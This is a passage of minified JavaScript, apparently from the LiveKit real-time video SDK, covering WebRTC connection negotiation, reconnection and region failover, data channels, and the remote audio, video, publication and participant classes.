s===q.FAILED&&this.pcState===ce.Connected&&(this.pcState=ce.Disconnected,this.handleDisconnect("peerconnection failed",a==="failed"?Be.RR_SUBSCRIBER_FAILED:Be.RR_PUBLISHER_FAILED));const c=this.client.isDisconnected||this.client.currentState===B.RECONNECTING,d=[q.FAILED,q.CLOSING,q.CLOSED].includes(s);c&&d&&!this._isClosed&&this.emit(E.Offline)}),this.pcManager.onTrack=s=>{this.emit(E.MediaTrackAdded,s.track,s.streams[0],s.receiver)},tu((n=e.serverInfo)===null||n===void 0?void 0:n.protocol)||this.createDataChannels()})}setupSignalClientCallbacks(){this.client.onAnswer=e=>p(this,void 0,void 0,function*(){this.pcManager&&(this.log.debug("received server answer",Object.assign(Object.assign({},this.logContext),{RTCSdpType:e.type})),yield this.pcManager.setPublisherAnswer(e))}),this.client.onTrickle=(e,t)=>{this.pcManager&&(this.log.trace("got ICE candidate from peer",Object.assign(Object.assign({},this.logContext),{candidate:e,target:t})),this.pcManager.addIceCandidate(e,t))},this.client.onOffer=e=>p(this,void 0,void 0,function*(){if(!this.pcManager)return;const t=yield this.pcManager.createSubscriberAnswerFromOffer(e);this.client.sendAnswer(t)}),this.client.onLocalTrackPublished=e=>{var t;if(this.log.debug("received trackPublishedResponse",Object.assign(Object.assign({},this.logContext),{cid:e.cid,track:(t=e.track)===null||t===void 0?void 0:t.sid})),!this.pendingTrackResolvers[e.cid]){this.log.error("missing track resolver for ".concat(e.cid),Object.assign(Object.assign({},this.logContext),{cid:e.cid}));return}const{resolve:n}=this.pendingTrackResolvers[e.cid];delete this.pendingTrackResolvers[e.cid],n(e.track)},this.client.onLocalTrackUnpublished=e=>{this.emit(E.LocalTrackUnpublished,e)},this.client.onTokenRefresh=e=>{this.token=e},this.client.onRemoteMuteChanged=(e,t)=>{this.emit(E.RemoteMute,e,t)},this.client.onSubscribedQualityUpdate=e=>{this.emit(E.SubscribedQualityUpdate,e)},this.client.onClose=()=>{this.handleDisconnect("signal",Be.RR_SIGNAL_DISCONNECTED)},this.client.onLeave=e=>{switch(this.log.debug("client leave request",Object.assign(Object.assign({},this.logContext),{reason:e==null?void 0:e.reason})),e.regions&&this.regionUrlProvider&&(this.log.debug("updating regions",this.logContext),this.regionUrlProvider.setServerReportedRegions(e.regions)),e.action){case We.DISCONNECT:this.emit(E.Disconnected,e==null?void 0:e.reason),this.close();break;case We.RECONNECT:this.fullReconnectOnNext=!0,this.handleDisconnect(bi);break;case We.RESUME:this.handleDisconnect(bi)}}}makeRTCConfiguration(e){var t;const n=Object.assign({},this.rtcConfig);if(!((t=this.signalOpts)===null||t===void 0)&&t.e2eeEnabled&&(this.log.debug("E2EE - setting up transports with insertable streams",this.logContext),n.encodedInsertableStreams=!0),e.iceServers&&!n.iceServers){const r=[];e.iceServers.forEach(s=>{const o={urls:s.urls};s.username&&(o.username=s.username),s.credential&&(o.credential=s.credential),r.push(o)}),n.iceServers=r}return e.clientConfiguration&&e.clientConfiguration.forceRelay===gt.ENABLED&&(n.iceTransportPolicy="relay"),n.sdpSemantics="unified-plan",n.continualGatheringPolicy="gather_continually",n}createDataChannels(){this.pcManager&&(this.lossyDC&&(this.lossyDC.onmessage=null,this.lossyDC.onerror=null),this.reliableDC&&(this.reliableDC.onmessage=null,this.reliableDC.onerror=null),this.lossyDC=this.pcManager.createPublisherDataChannel(dr,{ordered:!0,maxRetransmits:0}),this.reliableDC=this.pcManager.createPublisherDataChannel(ur,{ordered:!0}),this.lossyDC.onmessage=this.handleDataMessage,this.reliableDC.onmessage=this.handleDataMessage,this.lossyDC.onerror=this.handleDataError,this.reliableDC.onerror=this.handleDataError,this.lossyDC.bufferedAmountLowThreshold=65535,this.reliableDC.bufferedAmountLowThreshold=65535,this.lossyDC.onbufferedamountlow=this.handleBufferedAmountLow,this.reliableDC.onbufferedamountlow=this.handleBufferedAmountLow)}createSender(e,t,n){return p(this,void 0,void 0,function*(){if(Ki())return yield this.createTransceiverRTCRtpSender(e,t,n);if(Gi())return this.log.warn("using add-track fallback",this.logContext),yield this.createRTCRtpSender(e.mediaStreamTrack);throw new W("Required webRTC APIs not supported on this device")})}createSimulcastSender(e,t,n,r){return p(this,void 0,void 0,function*(){if(Ki())return this.createSimulcastTransceiverSender(e,t,n,r);if(Gi())return this.log.debug("using add-track fallback",this.logContext),this.createRTCRtpSender(e.mediaStreamTrack);throw new W("Cannot stream on this device")})}createTransceiverRTCRtpSender(e,t,n){return p(this,void 0,void 0,function*(){if(!this.pcManager)throw new W("publisher is closed");const r=[];e.mediaStream&&r.push(e.mediaStream),e instanceof ie&&(e.codec=t.videoCodec);const s={direction:"sendonly",streams:r};return n&&(s.sendEncodings=n),(yield this.pcManager.addPublisherTransceiver(e.mediaStreamTrack,s)).sender})}createSimulcastTransceiverSender(e,t,n,r){return p(this,void 0,void 0,function*(){if(!this.pcManager)throw new W("publisher is closed");const s={direction:"sendonly"};r&&(s.sendEncodings=r);const o=yield this.pcManager.addPublisherTransceiver(t.mediaStreamTrack,s);if(n.videoCodec)return e.setSimulcastTrackSender(n.videoCodec,o.sender),o.sender})}createRTCRtpSender(e){return p(this,void 0,void 0,function*(){if(!this.pcManager)throw new W("publisher is closed");return this.pcManager.addPublisherTrack(e)})}attemptReconnect(e){return p(this,void 0,void 0,function*(){var t,n,r;if(!this._isClosed){if(this.attemptingReconnect){M.warn("already attempting reconnect, returning early",this.logContext);return}(((t=this.clientConfiguration)===null||t===void 0?void 0:t.resumeConnection)===gt.DISABLED||((r=(n=this.pcManager)===null||n===void 0?void 0:n.currentState)!==null&&r!==void 0?r:q.NEW)===q.NEW)&&(this.fullReconnectOnNext=!0);try{this.attemptingReconnect=!0,this.fullReconnectOnNext?yield this.restartConnection():yield this.resumeConnection(e),this.clearPendingReconnect(),this.fullReconnectOnNext=!1}catch(s){this.reconnectAttempts+=1;let o=!0;s instanceof W?(this.log.debug("received unrecoverable error",Object.assign(Object.assign({},this.logContext),{error:s})),o=!1):s instanceof Ve||(this.fullReconnectOnNext=!0),o?this.handleDisconnect("reconnect",Be.RR_UNKNOWN):(this.log.info("could not recover connection after ".concat(this.reconnectAttempts," attempts, ").concat(Date.now()-this.reconnectStart,"ms. giving up"),this.logContext),this.emit(E.Disconnected),yield this.close())}finally{this.attemptingReconnect=!1}}})}getNextRetryDelay(e){try{return this.reconnectPolicy.nextRetryDelayInMs(e)}catch(t){this.log.warn("encountered error in reconnect policy",Object.assign(Object.assign({},this.logContext),{error:t}))}return null}restartConnection(e){return p(this,void 0,void 0,function*(){var t,n,r;try{if(!this.url||!this.token)throw new W("could not reconnect, url or token not saved");this.log.info("reconnecting, attempt: ".concat(this.reconnectAttempts),this.logContext),this.emit(E.Restarting),this.client.isDisconnected||(yield this.client.sendLeave()),yield this.cleanupPeerConnections(),yield this.cleanupClient();let s;try{if(!this.signalOpts)throw this.log.warn("attempted connection restart, without signal options present",this.logContext),new Ve;s=yield this.join(e??this.url,this.token,this.signalOpts)}catch(o){throw o instanceof j&&o.reason===0?new W("could not reconnect, token might be expired"):new Ve}if(this.shouldFailNext)throw this.shouldFailNext=!1,new Error("simulated failure");if(this.client.setReconnected(),this.emit(E.SignalRestarted,s),yield this.waitForPCReconnected(),this.client.currentState!==B.CONNECTED)throw new Ve("Signal connection got severed during reconnect");(t=this.regionUrlProvider)===null||t===void 0||t.resetAttempts(),this.emit(E.Restarted)}catch(s){const o=yield(n=this.regionUrlProvider)===null||n===void 0?void 0:n.getNextBestRegionUrl();if(o){yield this.restartConnection(o);return}else throw(r=this.regionUrlProvider)===null||r===void 0||r.resetAttempts(),s}})}resumeConnection(e){return p(this,void 0,void 0,function*(){var t;if(!this.url||!this.token)throw new W("could not reconnect, url or token not saved");if(!this.pcManager)throw new W("publisher and subscriber connections unset");this.log.info("resuming signal connection, attempt ".concat(this.reconnectAttempts),this.logContext),this.emit(E.Resuming);let n;try{this.setupSignalClientCallbacks(),n=yield this.client.reconnect(this.url,this.token,this.participantSid,e)}catch(r){let s="";throw r instanceof Error&&(s=r.message,this.log.error(r.message,Object.assign(Object.assign({},this.logContext),{error:r}))),r instanceof j&&r.reason===0?new W("could not reconnect, token might be expired"):r instanceof j&&r.reason===4?r:new Ve(s)}if(this.emit(E.SignalResumed),n){const r=this.makeRTCConfiguration(n);this.pcManager.updateConfiguration(r)}else this.log.warn("Did not receive reconnect response",this.logContext);if(this.shouldFailNext)throw this.shouldFailNext=!1,new Error("simulated failure");if(yield this.pcManager.triggerIceRestart(),yield this.waitForPCReconnected(),this.client.currentState!==B.CONNECTED)throw new Ve("Signal connection got severed during reconnect");this.client.setReconnected(),((t=this.reliableDC)===null||t===void 0?void 0:t.readyState)==="open"&&this.reliableDC.id===null&&this.createDataChannels(),this.emit(E.Resumed)})}waitForPCInitialConnection(e,t){return p(this,void 0,void 0,function*(){if(!this.pcManager)throw new W("PC manager is closed");yield this.pcManager.ensurePCTransportConnection(t,e)})}waitForPCReconnected(){return p(this,void 0,void 0,function*(){this.pcState=ce.Reconnecting,this.log.debug("waiting for peer connection to reconnect",this.logContext);try{if(yield Te(Zd),!this.pcManager)throw new W("PC manager is closed");yield this.pcManager.ensurePCTransportConnection(void 0,this.peerConnectionTimeout),this.pcState=ce.Connected}catch(e){throw this.pcState=ce.Disconnected,new j("could not establish PC connection, ".concat(e.message))}})}sendDataPacket(e,t){return p(this,void 0,void 0,function*(){const n=e.toBinary();yield this.ensurePublisherConnected(t);const r=this.dataChannelForKind(t);r&&r.send(n),this.updateAndEmitDCBufferStatus(t)})}ensureDataTransportConnected(e){return p(this,arguments,void 0,function(t){var n=this;let r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.subscriberPrimary;return function*(){var s;if(!n.pcManager)throw new W("PC manager is closed");const o=r?n.pcManager.subscriber:n.pcManager.publisher,a=r?"Subscriber":"Publisher";if(!o)throw new j("".concat(a," connection not set"));let c=!1;!r&&!n.dataChannelForKind(t,r)&&(n.createDataChannels(),c=!0),!c&&!r&&!n.pcManager.publisher.isICEConnected&&n.pcManager.publisher.getICEConnectionState()!=="checking"&&(c=!0),c&&n.negotiate();const d=n.dataChannelForKind(t,r);if((d==null?void 0:d.readyState)==="open")return;const u=new Date().getTime()+n.peerConnectionTimeout;for(;new Date().getTime()<u;){if(o.isICEConnected&&((s=n.dataChannelForKind(t,r))===null||s===void 0?void 0:s.readyState)==="open")return;yield Te(50)}throw new j("could not establish ".concat(a," connection, state: ").concat(o.getICEConnectionState()))}()})}ensurePublisherConnected(e){return p(this,void 0,void 0,function*(){this.publisherConnectionPromise||(this.publisherConnectionPromise=this.ensureDataTransportConnected(e,!1)),yield this.publisherConnectionPromise})}verifyTransport(){return!(!this.pcManager||this.pcManager.currentState!==q.CONNECTED||!this.client.ws||this.client.ws.readyState===WebSocket.CLOSED)}negotiate(){return p(this,void 0,void 0,function*(){return new Promise((e,t)=>p(this,void 0,void 0,function*(){if(!this.pcManager){t(new ji("PC manager is closed"));return}this.pcManager.requirePublisher(),this.pcManager.publisher.getTransceivers().length==0&&!this.lossyDC&&!this.reliableDC&&this.createDataChannels();const n=new AbortController,r=()=>{n.abort(),this.log.debug("engine disconnected while negotiation was ongoing",this.logContext),e()};this.isClosed&&t("cannot negotiate on closed engine"),this.on(E.Closing,r),this.pcManager.publisher.once(Qe.RTPVideoPayloadTypes,s=>{const o=new Map;s.forEach(a=>{const c=a.codec.toLowerCase();kd(c)&&o.set(a.payload,c)}),this.emit(E.RTPVideoMapUpdate,o)});try{yield this.pcManager.negotiate(n),e()}catch(s){s instanceof ji&&(this.fullReconnectOnNext=!0),this.handleDisconnect("negotiation",Be.RR_UNKNOWN),t(s)}finally{this.off(E.Closing,r)}}))})}dataChannelForKind(e,t){if(t){if(e===te.LOSSY)return this.lossyDCSub;if(e===te.RELIABLE)return this.reliableDCSub}else{if(e===te.LOSSY)return this.lossyDC;if(e===te.RELIABLE)return this.reliableDC}}sendSyncState(e,t){var n,r;if(!this.pcManager){this.log.warn("sync state cannot be sent without peer connection setup",this.logContext);return}const s=this.pcManager.subscriber.getLocalDescription(),o=this.pcManager.subscriber.getRemoteDescription(),a=(r=(n=this.signalOpts)===null||n===void 0?void 0:n.autoSubscribe)!==null&&r!==void 0?r:!0,c=new Array,d=new Array;e.forEach(u=>{u.isDesired!==a&&c.push(u.trackSid),u.isEnabled||d.push(u.trackSid)}),this.client.sendSyncState(new is({answer:s?zt({sdp:s.sdp,type:s.type}):void 0,offer:o?zt({sdp:o.sdp,type:o.type}):void 0,subscription:new Xt({trackSids:c,subscribe:!a,participantTracks:[]}),publishTracks:ad(t),dataChannels:this.dataChannelsInfo(),trackSidsDisabled:d}))}failNext(){this.shouldFailNext=!0}dataChannelsInfo(){const e=[],t=(n,r)=>{(n==null?void 0:n.id)!==void 0&&n.id!==null&&e.push(new ns({label:n.label,id:n.id,target:r}))};return t(this.dataChannelForKind(te.LOSSY),le.PUBLISHER),t(this.dataChannelForKind(te.RELIABLE),le.PUBLISHER),t(this.dataChannelForKind(te.LOSSY,!0),le.SUBSCRIBER),t(this.dataChannelForKind(te.RELIABLE,!0),le.SUBSCRIBER),e}clearReconnectTimeout(){this.reconnectTimeout&&Q.clearTimeout(this.reconnectTimeout)}clearPendingReconnect(){this.clearReconnectTimeout(),this.reconnectAttempts=0}registerOnLineListener(){ne()&&window.addEventListener("online",this.handleBrowserOnLine)}deregisterOnLineListener(){ne()&&window.removeEventListener("online",this.handleBrowserOnLine)}}class Ve extends Error{}function tu(i){return i!==void 0&&i>13}function iu(i,e){const t=i.participantIdentity?i.participantIdentity:e.participantIdentity;i.participantIdentity=t,e.participantIdentity=t;const n=i.destinationIdentities.length!==0?i.destinationIdentities:e.destinationIdentities;i.destinationIdentities=n,e.destinationIdentities=n}class lr{constructor(e,t){this.lastUpdateAt=0,this.settingsCacheTime=3e3,this.attemptedRegions=[],this.serverUrl=new URL(e),this.token=t}updateToken(e){this.token=e}isCloud(){return zi(this.serverUrl)}getServerUrl(){return this.serverUrl}getNextBestRegionUrl(e){return p(this,void 0,void 0,function*(){if(!this.isCloud())throw Error("region availability is only supported for LiveKit Cloud domains");(!this.regionSettings||Date.now()-this.lastUpdateAt>this.settingsCacheTime)&&(this.regionSettings=yield this.fetchRegionSettings(e));const t=this.regionSettings.regions.filter(n=>!this.attemptedRegions.find(r=>r.url===n.url));if(t.length>0){const n=t[0];return this.attemptedRegions.push(n),M.debug("next region: ".concat(n.region)),n.url}else return null})}resetAttempts(){this.attemptedRegions=[]}fetchRegionSettings(e){return p(this,void 0,void 0,function*(){const t=yield fetch("".concat(nu(this.serverUrl),"/regions"),{headers:{authorization:"Bearer ".concat(this.token)},signal:e});if(t.ok){const n=yield t.json();return this.lastUpdateAt=Date.now(),n}else throw new j("Could not fetch region settings: ".concat(t.statusText),t.status===401?0:void 0,t.status)})}setServerReportedRegions(e){this.regionSettings=e,this.lastUpdateAt=Date.now()}}function nu(i){return"".concat(i.protocol.replace("ws","http"),"//").concat(i.host,"/settings")}class uo extends y{constructor(e,t,n,r,s){super(e,n,s),this.sid=t,this.receiver=r}setMuted(e){this.isMuted!==e&&(this.isMuted=e,this._mediaStreamTrack.enabled=!e,this.emit(e?P.Muted:P.Unmuted,this))}setMediaStream(e){this.mediaStream=e;const t=n=>{n.track===this._mediaStreamTrack&&(e.removeEventListener("removetrack",t),this.receiver=void 0,this._currentBitrate=0,this.emit(P.Ended,this))};e.addEventListener("removetrack",t)}start(){this.startMonitor(),super.enable()}stop(){this.stopMonitor(),super.disable()}getRTCStatsReport(){return p(this,void 0,void 0,function*(){var e;return!((e=this.receiver)===null||e===void 0)&&e.getStats?yield this.receiver.getStats():void 0})}startMonitor(){this.monitorInterval||(this.monitorInterval=setInterval(()=>this.monitorReceiver(),gn)),cd()&&this.registerTimeSyncUpdate()}registerTimeSyncUpdate(){const e=()=>{var t;this.timeSyncHandle=requestAnimationFrame(()=>e());const n=(t=this.receiver)===null||t===void 0?void 0:t.getSynchronizationSources()[0];if(n){const{timestamp:r,rtpTimestamp:s}=n;s&&this.rtpTimestamp!==s&&(this.emit(P.TimeSyncUpdate,{timestamp:r,rtpTimestamp:s}),this.rtpTimestamp=s)}};e()}}class $e extends uo{constructor(e,t,n,r,s,o){super(e,t,y.Kind.Audio,n,o),this.monitorReceiver=()=>p(this,void 0,void 0,function*(){if(!this.receiver){this._currentBitrate=0;return}const a=yield this.getReceiverStats();a&&this.prevStats&&this.receiver&&(this._currentBitrate=ni(a,this.prevStats)),this.prevStats=a}),this.audioContext=r,this.webAudioPluginNodes=[],s&&(this.sinkId=s.deviceId)}setVolume(e){var t;for(const n of this.attachedElements)this.audioContext?(t=this.gainNode)===null||t===void 0||t.gain.setTargetAtTime(e,0,.1):n.volume=e;Ee()&&this._mediaStreamTrack._setVolume(e),this.elementVolume=e}getVolume(){if(this.elementVolume)return this.elementVolume;if(Ee())return 1;let e=0;return this.attachedElements.forEach(t=>{t.volume>e&&(e=t.volume)}),e}setSinkId(e){return p(this,void 0,void 0,function*(){this.sinkId=e,yield Promise.all(this.attachedElements.map(t=>{if(Wi(t))return t.setSinkId(e)}))})}attach(e){const t=this.attachedElements.length===0;return e?super.attach(e):e=super.attach(),this.sinkId&&Wi(e)&&e.setSinkId(this.sinkId),this.audioContext&&t&&(this.log.debug("using audio context mapping",this.logContext),this.connectWebAudio(this.audioContext,e),e.volume=0,e.muted=!0),this.elementVolume&&this.setVolume(this.elementVolume),e}detach(e){let t;return e?(t=super.detach(e),this.audioContext&&(this.attachedElements.length>0?this.connectWebAudio(this.audioContext,this.attachedElements[0]):this.disconnectWebAudio())):(t=super.detach(),this.disconnectWebAudio()),t}setAudioContext(e){this.audioContext=e,e&&this.attachedElements.length>0?this.connectWebAudio(e,this.attachedElements[0]):e||this.disconnectWebAudio()}setWebAudioPlugins(e){this.webAudioPluginNodes=e,this.attachedElements.length>0&&this.audioContext&&this.connectWebAudio(this.audioContext,this.attachedElements[0])}connectWebAudio(e,t){this.disconnectWebAudio(),this.sourceNode=e.createMediaStreamSource(t.srcObject);let n=this.sourceNode;this.webAudioPluginNodes.forEach(r=>{n.connect(r),n=r}),this.gainNode=e.createGain(),n.connect(this.gainNode),this.gainNode.connect(e.destination),this.elementVolume&&this.gainNode.gain.setTargetAtTime(this.elementVolume,0,.1),e.state!=="running"&&e.resume().then(()=>{e.state!=="running"&&this.emit(P.AudioPlaybackFailed,new Error("Audio Context couldn't be started automatically"))}).catch(r=>{this.emit(P.AudioPlaybackFailed,r)})}disconnectWebAudio(){var e,t;(e=this.gainNode)===null||e===void 0||e.disconnect(),(t=this.sourceNode)===null||t===void 0||t.disconnect(),this.gainNode=void 0,this.sourceNode=void 0}getReceiverStats(){return p(this,void 0,void 0,function*(){if(!this.receiver||!this.receiver.getStats)return;const e=yield this.receiver.getStats();let t;return e.forEach(n=>{n.type==="inbound-rtp"&&(t={type:"audio",timestamp:n.timestamp,jitter:n.jitter,bytesReceived:n.bytesReceived,concealedSamples:n.concealedSamples,concealmentEvents:n.concealmentEvents,silentConcealedSamples:n.silentConcealedSamples,silentConcealmentEvents:n.silentConcealmentEvents,totalAudioEnergy:n.totalAudioEnergy,totalSamplesDuration:n.totalSamplesDuration})}),t})}}const yi=100;class mt extends uo{constructor(e,t,n,r,s){super(e,t,y.Kind.Video,n,s),this.elementInfos=[],this.monitorReceiver=()=>p(this,void 0,void 0,function*(){if(!this.receiver){this._currentBitrate=0;return}const o=yield this.getReceiverStats();o&&this.prevStats&&this.receiver&&(this._currentBitrate=ni(o,this.prevStats)),this.prevStats=o}),this.debouncedHandleResize=ln(()=>{this.updateDimensions()},yi),this.adaptiveStreamSettings=r}get isAdaptiveStream(){return this.adaptiveStreamSettings!==void 0}get mediaStreamTrack(){return this._mediaStreamTrack}setMuted(e){super.setMuted(e),this.attachedElements.forEach(t=>{e?Je(this._mediaStreamTrack,t):Ge(this._mediaStreamTrack,t)})}attach(e){if(e?super.attach(e):e=super.attach(),this.adaptiveStreamSettings&&this.elementInfos.find(t=>t.element===e)===void 0){const t=new ru(e);this.observeElementInfo(t)}return e}observeElementInfo(e){this.adaptiveStreamSettings&&this.elementInfos.find(t=>t===e)===void 0?(e.handleResize=()=>{this.debouncedHandleResize()},e.handleVisibilityChanged=()=>{this.updateVisibility()},this.elementInfos.push(e),e.observe(),this.debouncedHandleResize(),this.updateVisibility()):this.log.warn("visibility resize observer not triggered",this.logContext)}stopObservingElementInfo(e){if(!this.isAdaptiveStream){this.log.warn("stopObservingElementInfo ignored",this.logContext);return}const t=this.elementInfos.filter(n=>n===e);for(const n of t)n.stopObserving();this.elementInfos=this.elementInfos.filter(n=>n!==e),this.updateVisibility(),this.debouncedHandleResize()}detach(e){let t=[];if(e)return this.stopObservingElement(e),super.detach(e);t=super.detach();for(const n of t)this.stopObservingElement(n);return t}getDecoderImplementation(){var e;return(e=this.prevStats)===null||e===void 0?void 0:e.decoderImplementation}getReceiverStats(){return p(this,void 0,void 0,function*(){if(!this.receiver||!this.receiver.getStats)return;const e=yield this.receiver.getStats();let t,n="",r=new Map;return e.forEach(s=>{s.type==="inbound-rtp"?(n=s.codecId,t={type:"video",framesDecoded:s.framesDecoded,framesDropped:s.framesDropped,framesReceived:s.framesReceived,packetsReceived:s.packetsReceived,packetsLost:s.packetsLost,frameWidth:s.frameWidth,frameHeight:s.frameHeight,pliCount:s.pliCount,firCount:s.firCount,nackCount:s.nackCount,jitter:s.jitter,timestamp:s.timestamp,bytesReceived:s.bytesReceived,decoderImplementation:s.decoderImplementation}):s.type==="codec"&&r.set(s.id,s)}),t&&n!==""&&r.get(n)&&(t.mimeType=r.get(n).mimeType),t})}stopObservingElement(e){const t=this.elementInfos.filter(n=>n.element===e);for(const n of t)this.stopObservingElementInfo(n)}handleAppVisibilityChanged(){const e=Object.create(null,{handleAppVisibilityChanged:{get:()=>super.handleAppVisibilityChanged}});return p(this,void 0,void 0,function*(){yield e.handleAppVisibilityChanged.call(this),this.isAdaptiveStream&&this.updateVisibility()})}updateVisibility(){var e,t;const n=this.elementInfos.reduce((a,c)=>Math.max(a,c.visibilityChangedAt||0),0),r=!((t=(e=this.adaptiveStreamSettings)===null||e===void 0?void 0:e.pauseVideoInBackground)!==null&&t!==void 0)||t?this.isInBackground:!1,s=this.elementInfos.some(a=>a.pictureInPicture),o=this.elementInfos.some(a=>a.visible)&&!r||s;if(this.lastVisible!==o){if(!o&&Date.now()-n<yi){Q.setTimeout(()=>{this.updateVisibility()},yi);return}this.lastVisible=o,this.emit(P.VisibilityChanged,o,this)}}updateDimensions(){var e,t;let n=0,r=0;const s=this.getPixelDensity();for(const o of this.elementInfos){const a=o.width()*s,c=o.height()*s;a+c>n+r&&(n=a,r=c)}((e=this.lastDimensions)===null||e===void 0?void 0:e.width)===n&&((t=this.lastDimensions)===null||t===void 0?void 0:t.height)===r||(this.lastDimensions={width:n,height:r},this.emit(P.VideoDimensionsChanged,this.lastDimensions,this))}getPixelDensity(){var e;const t=(e=this.adaptiveStreamSettings)===null||e===void 0?void 0:e.pixelDensity;return t==="screen"?$n():t||($n()>2?2:1)}}class ru{get visible(){return this.isPiP||this.isIntersecting}get pictureInPicture(){return this.isPiP}constructor(e,t){this.onVisibilityChanged=n=>{var r;const{target:s,isIntersecting:o}=n;s===this.element&&(this.isIntersecting=o,this.visibilityChangedAt=Date.now(),(r=this.handleVisibilityChanged)===null||r===void 0||r.call(this))},this.onEnterPiP=()=>{var n;this.isPiP=!0,(n=this.handleVisibilityChanged)===null||n===void 0||n.call(this)},this.onLeavePiP=()=>{var n;this.isPiP=!1,(n=this.handleVisibilityChanged)===null||n===void 0||n.call(this)},this.element=e,this.isIntersecting=t??hr(e),this.isPiP=ne()&&document.pictureInPictureElement===e,this.visibilityChangedAt=0}width(){return this.element.clientWidth}height(){return this.element.clientHeight}observe(){this.isIntersecting=hr(this.element),this.isPiP=document.pictureInPictureElement===this.element,this.element.handleResize=()=>{var e;(e=this.handleResize)===null||e===void 0||e.call(this)},this.element.handleVisibilityChanged=this.onVisibilityChanged,Xn().observe(this.element),Yn().observe(this.element),this.element.addEventListener("enterpictureinpicture",this.onEnterPiP),this.element.addEventListener("leavepictureinpicture",this.onLeavePiP)}stopObserving(){var e,t;(e=Xn())===null||e===void 0||e.unobserve(this.element),(t=Yn())===null||t===void 0||t.unobserve(this.element),this.element.removeEventListener("enterpictureinpicture",this.onEnterPiP),this.element.removeEventListener("leavepictureinpicture",this.onLeavePiP)}}function hr(i){let e=i.offsetTop,t=i.offsetLeft;const n=i.offsetWidth,r=i.offsetHeight,{hidden:s}=i,{opacity:o,display:a}=getComputedStyle(i);for(;i.offsetParent;)i=i.offsetParent,e+=i.offsetTop,t+=i.offsetLeft;return e<window.pageYOffset+window.innerHeight&&t<window.pageXOffset+window.innerWidth&&e+r>window.pageYOffset&&t+n>window.pageXOffset&&!s&&(o!==""?parseFloat(o)>0:!0)&&a!=="none"}class ye extends ve.EventEmitter{constructor(e,t,n,r){var s;super(),this.metadataMuted=!1,this.encryption=re.NONE,this.log=M,this.handleMuted=()=>{this.emit(P.Muted)},this.handleUnmuted=()=>{this.emit(P.Unmuted)},this.log=Ce((s=r==null?void 0:r.loggerName)!==null&&s!==void 0?s:he.Publication),this.loggerContextCb=this.loggerContextCb,this.setMaxListeners(100),this.kind=e,this.trackSid=t,this.trackName=n,this.source=y.Source.Unknown}setTrack(e){this.track&&(this.track.off(P.Muted,this.handleMuted),this.track.off(P.Unmuted,this.handleUnmuted)),this.track=e,e&&(e.on(P.Muted,this.handleMuted),e.on(P.Unmuted,this.handleUnmuted))}get logContext(){var e;return Object.assign(Object.assign({},(e=this.loggerContextCb)===null||e===void 0?void 0:e.call(this)),F(this))}get isMuted(){return this.metadataMuted}get isEnabled(){return!0}get isSubscribed(){return this.track!==void 0}get isEncrypted(){return this.encryption!==re.NONE}get audioTrack(){if(this.track instanceof Y||this.track instanceof $e)return this.track}get videoTrack(){if(this.track instanceof ie||this.track instanceof mt)return this.track}updateInfo(e){this.trackSid=e.sid,this.trackName=e.name,this.source=y.sourceFromProto(e.source),this.mimeType=e.mimeType,this.kind===y.Kind.Video&&e.width>0&&(this.dimensions={width:e.width,height:e.height},this.simulcasted=e.simulcast),this.encryption=e.encryption,this.trackInfo=e,this.log.debug("update publication info",Object.assign(Object.assign({},this.logContext),{info:e}))}}(function(i){(function(e){e.Desired="desired",e.Subscribed="subscribed",e.Unsubscribed="unsubscribed"})(i.SubscriptionStatus||(i.SubscriptionStatus={})),function(e){e.Allowed="allowed",e.NotAllowed="not_allowed"}(i.PermissionStatus||(i.PermissionStatus={}))})(ye||(ye={}));class Ht extends ye{get isUpstreamPaused(){var e;return(e=this.track)===null||e===void 0?void 0:e.isUpstreamPaused}constructor(e,t,n,r){super(e,t.sid,t.name,r),this.track=void 0,this.handleTrackEnded=()=>{this.emit(P.Ended)},this.updateInfo(t),this.setTrack(n)}setTrack(e){this.track&&this.track.off(P.Ended,this.handleTrackEnded),super.setTrack(e),e&&e.on(P.Ended,this.handleTrackEnded)}get isMuted(){return this.track?this.track.isMuted:super.isMuted}get audioTrack(){return super.audioTrack}get videoTrack(){return super.videoTrack}mute(){return p(this,void 0,void 0,function*(){var e;return(e=this.track)===null||e===void 0?void 0:e.mute()})}unmute(){return p(this,void 0,void 0,function*(){var e;return(e=this.track)===null||e===void 0?void 0:e.unmute()})}pauseUpstream(){return p(this,void 0,void 0,function*(){var e;yield(e=this.track)===null||e===void 0?void 0:e.pauseUpstream()})}resumeUpstream(){return p(this,void 0,void 0,function*(){var e;yield(e=this.track)===null||e===void 0?void 0:e.resumeUpstream()})}getTrackFeatures(){var e;if(this.track instanceof Y){const t=this.track.mediaStreamTrack.getSettings(),n=new Set;return t.autoGainControl&&n.add(me.TF_AUTO_GAIN_CONTROL),t.echoCancellation&&n.add(me.TF_ECHO_CANCELLATION),t.noiseSuppression&&n.add(me.TF_NOISE_SUPPRESSION),t.channelCount&&t.channelCount>1&&n.add(me.TF_STEREO),!((e=this.options)===null||e===void 0)&&e.dtx||n.add(me.TF_STEREO),this.track.enhancedNoiseCancellation&&n.add(me.TF_ENHANCED_NOISE_CANCELLATION),Array.from(n.values())}else return[]}}var Ie;(function(i){i.Excellent="excellent",i.Good="good",i.Poor="poor",i.Lost="lost",i.Unknown="unknown"})(Ie||(Ie={}));function su(i){switch(i){case ct.EXCELLENT:return Ie.Excellent;case ct.GOOD:return Ie.Good;case ct.POOR:return Ie.Poor;case ct.LOST:return Ie.Lost;default:return Ie.Unknown}}class lo extends ve.EventEmitter{get logContext(){var e,t;return Object.assign({},(t=(e=this.loggerOptions)===null||e===void 0?void 0:e.loggerContextCb)===null||t===void 0?void 0:t.call(e))}get isEncrypted(){return this.trackPublications.size>0&&Array.from(this.trackPublications.values()).every(e=>e.isEncrypted)}get isAgent(){var e;return((e=this.permissions)===null||e===void 0?void 0:e.agent)||this.kind===Wt.AGENT}get kind(){return this._kind}constructor(e,t,n,r,s){let o=arguments.length>5&&arguments[5]!==void 0?arguments[5]:Wt.STANDARD;var a;super(),this.audioLevel=0,this.isSpeaking=!1,this._connectionQuality=Ie.Unknown,this.log=M,this.log=Ce((a=s==null?void 0:s.loggerName)!==null&&a!==void 0?a:he.Participant),this.loggerOptions=s,this.setMaxListeners(100),this.sid=e,this.identity=t,this.name=n,this.metadata=r,this.audioTrackPublications=new Map,this.videoTrackPublications=new Map,this.trackPublications=new Map,this._kind=o}getTrackPublications(){return Array.from(this.trackPublications.values())}getTrackPublication(e){for(const[,t]of this.trackPublications)if(t.source===e)return t}getTrackPublicationByName(e){for(const[,t]of this.trackPublications)if(t.trackName===e)return t}get connectionQuality(){return this._connectionQuality}get 